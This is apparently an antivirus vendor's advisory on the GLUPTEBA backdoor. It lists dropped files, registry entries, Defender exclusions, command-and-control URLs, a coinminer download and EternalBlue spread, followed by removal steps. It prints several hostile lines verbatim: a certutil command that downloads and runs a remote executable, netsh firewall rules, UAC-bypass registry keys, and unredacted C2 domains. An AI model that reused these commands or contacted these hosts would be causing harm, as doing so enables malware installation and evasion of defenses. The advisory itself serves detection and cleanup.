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Backdoor.Win32.GLUPTEBA.MBP

August 28, 2019
 Analysis by: Earle Maui Earnshaw
 ALIASES:

Trojan-FREW!11F9A0CB3DB7 (McAfee); Trojan.Win32.Fakap.puw (Kaspersky); Mal/GandCrab-H (Sophos)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to certain websites to send and receive information.

  TECHNICAL DETAILS

File Size:

5,181,952 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

22 Aug 2019

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following component file(s):

  • %System%\drivers\winmon.sys
  • %System%\drivers\WinmonFS.sys
  • %System%\drivers\WinmonProcessMonitor.sys

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It drops the following copies of itself into the affected system:

  • %Windows%\rss\csrss.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It creates the following folders:

  • %User Temp%\csrss
  • %Windows%\rss

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • Global\h48yorbq6rm87zot
  • Global\y7ze3fznx1u0yc2z

It terminates the execution of the copy it initially executed and executes the copy it drops instead.

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{random name} = %Windows%\rss\csrss.exe

Other System Modifications

This Trojan adds the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
TestApp

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Microsoft Antimalware\Exclusions\Processes
csrss.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Microsoft Antimalware\Exclusions\Processes
cloudnet.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Microsoft Antimalware\Exclusions\Processes
windefender.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows% = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows%\rss = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Application Data%\EpicNet = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%User Temp%\csrss = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Application Data%\{Random String} = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows%\windefender.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%User Temp%\wup = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%System%\drivers = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
csrss.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
cloudnet.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
windefender.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
{malware filename}.exe = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Firewall = {string}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Defender = {string}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Servers = https://venoxcontrol.com, https://okonewacon.com, https://blackempirebuild.com

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
UUID = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Command = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
FirstInstallDate = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CloudnetFileURL = http://nxtfdata.xyz/cl.exe

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
ServiceVersion = {string}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
SC = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PGDSE = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
VC = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
ServersVersion = {strings}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CDN = http://proactor.xyz

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PP = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
OSCaption = {Operating System of affected machine}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Name = AncientFlower

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
OSArchitecture = {32bit or 64bit}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
IsAdmin = {checks if the program is being run as admin} {1 or 0}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
AV = {strings}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PatchTime = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
GPU = {GPU details of the victim's machine}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CPU = {CPU details of the victim's machine}

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

  • http://{BLOCKED}or.xyz/app/deps.zip
  • http://{BLOCKED}ta.xyz/cl.exe
  • http://{BLOCKED}or.xyz/app/app.exe

It saves the files it downloads using the following names:

  • %User Temp%\csrss\cloudnet.exe
  • %User temp%\csrss\vc.exe
  • %Windows%\windefender.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other Details

This Trojan connects to the following website to send and receive information:

  • https://{BLOCKED}ontrol.com/api/install-failure
  • https://{BLOCKED}ontrol.com/api/parent-processes
  • https://{BLOCKED}ontrol.com/api/poll
  • https://{BLOCKED}ontrol.com/api/report
  • https://{BLOCKED}ontrol.com/api/log
  • https://{BLOCKED}ontrol.com/api/check/dev/stdin

It does the following:

  • Checks for the following registries to elevate the privilege of the malware if not present will create the following entries:
    • Windows 10: HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command; Value:fodhelper
    • Else: HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command; Value: CompMgmtLauncher
  • Accept the following commands to install it's dropped copy into the system:
    • -uninstall → uninstall the copy of the malware into the system and terminate if found running
    • -update → Drops update copy of itself into the system
  • It terminates itself if it detects it is being run in a VMware or VirtualBox environment.
  • Hides the following Processes:
    • windefender.exe
    • cloudnet.exe
    • patch.exe
    • wup.exe
  • It executes the following commands to bypass Windows Firewall:
    • netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%Windows%\rss\csrss.exe" enable=yes
    • netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%Application Data%\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes
  • Tries to delete the following:
    • %System32%\bcdedit.exe
  • Removes the following service:
    • WinMon
  • It connects to the following website to download a miner and its configuration file:
    • https://{BLOCKED}ontrol.com/api/check?uuid={UUID}
    • https://{BLOCKED}ontrol.com/api/checkv?uuid={UUID}
    The downloaded coinminer component is saved as:
    • %User temp%\wup\wup.exe
    • %User temp%\wup\wupv.exe
  • It executes the following commands:
    • update
    • get_app_name
    • is_admin
    • process_is_running
    • exec
    • download
    • run
    • run-v2
    • exit
    • update-data
    • update-cloudnet
    • update-cloudnet-file-url
    • stop-wup
    • stop-wupv
    • stop-mrt
    • notify
    • notify-host
    • event-exist
    • mutex-exist
    • registry-get-startup
    • verify-signature
    • registry-get-startup-signatures
    • verify-processes-signatures
    • get-unverified-files
    • get-stats-wup
    • upload-file
    • update-service
    • get-logfile-proxy
    • install
    • get-logfile-i2pd
    • s
    • update-cdn
    • discover-electrum
    • discover-blockchain
  • It terminates itself if it detects that an AV product is running
  • This malware uses EternalBlue/DoublePulsar components to takes advantage of the following software vulnerabilities to distribute its coinminer component across networks:
    • Microsoft Windows SMB Server (MS17-010) Vulnerability
  • It disables Windows Update services by modifying the following registry entry:
    HKEY_LOCAL_MACHINE\CurrentControlSet\services\wuauserv
    value = Start
    data = 4

It adds the following scheduled tasks:

  • Task Name: csrss
    Schedule: At log on of any user
    Task to be run: %Windows%\rss\csrss.exe
  • Task Name: ScheduledUpdate
    Schedule: At log on of any user
    Task to be run: cmd.exe /C certutil.exe -urlcache -split -f http://{BLOCKED}.xyz/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340

NOTES:

The value {DOMAIN} can be one of the following:

  • https://{BLOCKED}ontrol.com
  • https://{BLOCKED}acon.com
  • https://{BLOCKED}mpirebuild.com

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.326.03

FIRST VSAPI PATTERN DATE:

27 Aug 2019

VSAPI OPR PATTERN File:

15.327.00

VSAPI OPR PATTERN Date:

28 Aug 2019

Step 1

Trend Micro products with the XGen technology detect this malware as

[ Learn More ]
  • Troj.Win32.TRX.XXPE50FFF031

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • {random name} = %Windows%\rss\csrss.exe

Step 6

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft
    • TestApp

Step 7

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes
    • csrss.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes
    • cloudnet.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes
    • windefender.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %Windows% = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %Windows%\rss = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %Application Data%\EpicNet = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %User Temp%\csrss = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %Application Data%\{Random String} = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %Windows%\windefender.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %User Temp%\wup = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    • %System%\drivers = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
    • csrss.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
    • cloudnet.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
    • windefender.exe = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
    • {malware filename}.exe = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • Firewall = {string}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • Defender = {string}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • Servers = https://venoxcontrol.com, https://okonewacon.com, https://blackempirebuild.com
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • UUID = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • Command = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • FirstInstallDate = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • CloudnetFileURL = http://nxtfdata.xyz/cl.exe
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • ServiceVersion = {string}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • SC = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • PGDSE = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • VC = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • ServersVersion = {strings}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • CDN = http://proactor.xyz
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • PP = 0
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • OSCaption = {Operating System of affected machine}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • Name = AncientFlower
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • OSArchitecture = {32bit or 64bit}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • IsAdmin = {checks if the program is being run as admin} {1 or 0}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • AV = {strings}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • PatchTime = {value}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • GPU = {GPU details of the victim's machine}
  • In HKEY_CURRENT_USER\Software\Microsoft\TestApp
    • CPU = {CPU details of the victim's machine}

Step 8

Restore these modified registry values

[ Learn More ]

Important:Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator's help. You may also check out this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\CurrentControlSet\services\wuauserv
    • From: Start = 4  To: Start = (usually 2)

Step 9

To delete the added Scheduled Task file:

For Windows 7, Windows Server 2008 (R2), Windows 8, Windows 8.1, Windows 10, and Windows Server 2012 (R2):

  1. Open the Windows Task Scheduler. To do this:
    • On Windows 7, and Windows Server 2008 (R2), click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, 10 and Windows Server 2012 (R2), right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, select a Task.
  4. Check if the selected task starts the malware automatically. To do this, check the value in the Details column under the Actions tab in the lower-middle panel.
  5. If the malware path and filename are found, press DELETE and click Yes to delete the task.
  6. Repeat the steps above for the remaining tasks.

Step 10

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %System%\drivers\winmon.sys
  • %System%\drivers\WinmonFS.sys
  • %System%\drivers\WinmonProcessMonitor.sys
  • %Windows%\rss\csrss.exe
  • %User Temp%\csrss\cloudnet.exe
  • %User temp%\csrss\vc.exe
  • %Windows%\windefender.exe
  • %User temp%\wup\wup.exe
  • %User temp%\wup\wupv.exe

Step 11

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %User Temp%\csrss
  • %Windows%\rss

Step 12

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Backdoor.Win32.GLUPTEBA.MBP. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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